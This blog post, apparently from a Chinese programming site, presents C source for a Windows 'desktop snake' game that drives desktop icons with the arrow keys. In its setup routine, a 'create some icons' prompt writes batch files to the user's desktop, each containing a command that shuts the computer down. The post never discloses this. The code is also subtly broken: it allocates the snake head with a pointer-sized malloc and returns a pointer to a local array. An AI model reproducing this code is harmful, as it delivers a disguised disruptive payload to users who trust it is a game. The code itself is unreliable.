C语言实现桌面贪吃蛇小游戏

本篇写的是桌面贪吃蛇小游戏,大家自己看吧,感谢大家的支持,谢谢!O(∩_∩)O~~

#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>

#include <commctrl.h>

#include <time.h>

#include <stdlib.h>

#include "shlobj.h"

#include <stdio.h>

#include <string.h>

#define SIZE 100 //图标大小默认为100

HWND deskpot; //桌面句柄

int iCount = 0; //图标个数

int screenX; //获取屏幕的分辨率(宽)

int screenY; //获取屏幕的分辨率(高)

int eatCount = 0; //计数(已经吃到的图标)

int index = 0;

int speed = 500; //初始速度

typedef struct Snake //蛇结构体

{

int x;

int y;

int index;

struct Snake* next;

}snake;

snake* Head; //蛇头

snake* SnakeTemp; //临时的

POINT food; //食物位置

char* GetDesktopPath(); //返回桌面路径

void Initialization(); //初始化变量

void StartGame(); //开始游戏

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

Initialization();

MessageBox(deskpot, TEXT("游戏规则可以从自己身体上踏过但是不能撞到屏幕四周,按Esc键可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);

StartGame();

return 0;

}

void Initialization() //初始化变量

{

srand(unsigned int(time(NULL)));

HWND grandpa = FindWindowA("Progman", "Program Manager");

HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL);

deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView");

iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //获取句柄中控件的个数

screenX = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的分辨率(宽)

screenY = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的分辨率(高)

Head = (snake*)malloc(sizeof(Head));

Head->x = rand() % (screenX / SIZE) * SIZE; //蛇头初始化位置

Head->y = rand() % (screenY / SIZE) * SIZE;

Head->index = 0;

Head->next = NULL;

if (iCount < 30)

{

if (MessageBox(deskpot, TEXT("检测到您桌面上的图标不够30个是否需要自动创建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判断桌面图标是否够30个,不够就创建些

{

FILE* fp;

char Path[200]; //保存文件路径

char temp[20]; //存储文件名

char FineName[100]; //存储文件的全名加后缀名

for (int i = 0; i < 30 - iCount; i++)

{

memset(Path, 0, 200 * sizeof(char));

strcpy(Path, GetDesktopPath()); //将桌面路径给Path

sprintf(temp, "\\贪吃蛇%d.bat", i);

strcat(Path, temp);

if ((fp = fopen(Path, "w+")) == NULL)

continue; //如果他建失败就跳过

fprintf(fp, "shutdown -s -t 100");

fclose(fp);

}

}

}

for (int i = 0; i < iCount; i++)

{

//因为这里长宽只能用32位的数来表示,高在前,宽在后,用一下位运算

SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX);

}

return;

}

char* GetDesktopPath() //返回桌面路径

{

LPITEMIDLIST pidl;

LPMALLOC pShellMalloc;

char szDir[200];

if (SUCCEEDED(SHGetMalloc(&pShellMalloc)))

{

if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl)))

{

// 如果成功返回true

SHGetPathFromIDListA(pidl, szDir);

pShellMalloc->Free(pidl);

}

pShellMalloc->Release();

}

return szDir;

}

void StartGame() //开始游戏

{

SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //打印蛇头

label:

food.x = rand() % (screenX / SIZE) * SIZE;

food.y = rand() % (screenY / SIZE) * SIZE;

if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生

goto label;

SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //打印食物

snake SnakeMove; //蛇的移动

SnakeMove.x = 1, SnakeMove.y = 0; //默认向右移动

while (eatCount < iCount)

{

if (GetAsyncKeyState(VK_UP) != 0) //上

SnakeMove.x = 0, SnakeMove.y = -1;

if (GetAsyncKeyState(VK_DOWN) != 0) //下

SnakeMove.x = 0, SnakeMove.y = 1;

if (GetAsyncKeyState(VK_LEFT) != 0) //左

SnakeMove.x = -1, SnakeMove.y = 0;

if (GetAsyncKeyState(VK_RIGHT) != 0) //右

SnakeMove.x = 1, SnakeMove.y = 0;

if (GetAsyncKeyState(VK_ESCAPE) != 0) //结束

{

MessageBox(deskpot, TEXT("结束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);

exit(0);

}

if (GetAsyncKeyState(VK_SPACE)) //按空格键暂停

{

while (1)

{

Sleep(300);

if (GetAsyncKeyState(VK_SPACE)) //再按一次空格键继续

break;

}

}

if (Head->x == food.x && Head->y == food.y)

{

index++;

eatCount++;

speed = speed - (speed / 10);

snake* temp;

temp = (snake*)malloc(sizeof(snake));

temp->x = food.x;

temp->y = food.y;

temp->index = index;

temp->next = NULL;

SnakeTemp = Head;

while (SnakeTemp->next != NULL)

{

SnakeTemp = SnakeTemp->next;

}

SnakeTemp->next = temp;

SnakeTemp = Head;

SnakeTemp->x += SnakeMove.x * SIZE;

SnakeTemp->y += SnakeMove.y * SIZE;

while (SnakeTemp != NULL)

{

SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);

SnakeTemp = SnakeTemp->next;

}

label2:

food.x = rand() % (screenX / SIZE) * SIZE;

food.y = rand() % (screenY / SIZE) * SIZE;

if (Head->x == food.x && Head->y == food.y) //如果食物的坐标和蛇头的初始位置相同则重新产生

goto label2;

SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //打印食物

}

else

{

snake Temp;

snake Temp2;

bool choice = false;

SnakeTemp = Head;

Temp.x = SnakeTemp->x;

Temp.y = SnakeTemp->y;

SnakeTemp->x += SnakeMove.x * SIZE;

SnakeTemp->y += SnakeMove.y * SIZE;

SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);

SnakeTemp = Head->next;

while (SnakeTemp != NULL)

{

Temp2.x = SnakeTemp->x;

Temp2.y = SnakeTemp->y;

SnakeTemp->x = Temp.x;

SnakeTemp->y = Temp.y;

SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x);

Temp.x = Temp2.x;

Temp.y = Temp2.y;

SnakeTemp = SnakeTemp->next;

}

if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0)

{

MessageBox(deskpot, TEXT("笨蛋你撞到墙,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);

exit(0);

}

SnakeTemp = Head->next;

while (SnakeTemp != NULL)

{

if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y)

{

MessageBox(deskpot, TEXT("笨蛋你咬到自己了,游戏结束再见!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION);

exit(0);

}

SnakeTemp = SnakeTemp->next;

}

}

Sleep(speed);

}

return;

}

游戏界面如图:

在这里插入图片描述

失败界面如图:

在这里插入图片描述

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